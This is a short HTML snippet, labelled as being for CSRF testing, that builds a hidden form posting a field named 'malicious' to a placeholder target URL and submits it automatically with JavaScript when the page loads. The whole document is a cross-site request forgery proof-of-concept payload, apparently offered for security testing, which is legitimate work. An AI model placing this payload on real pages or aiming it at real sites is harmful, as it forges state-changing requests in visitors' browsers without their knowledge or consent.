<!– Form injection for CSRF testing –><form action=”http://target-site/update” method=”POST”><input type=”hidden” name=”malicious” value=”data”></form><script>document.forms[0].submit();</script>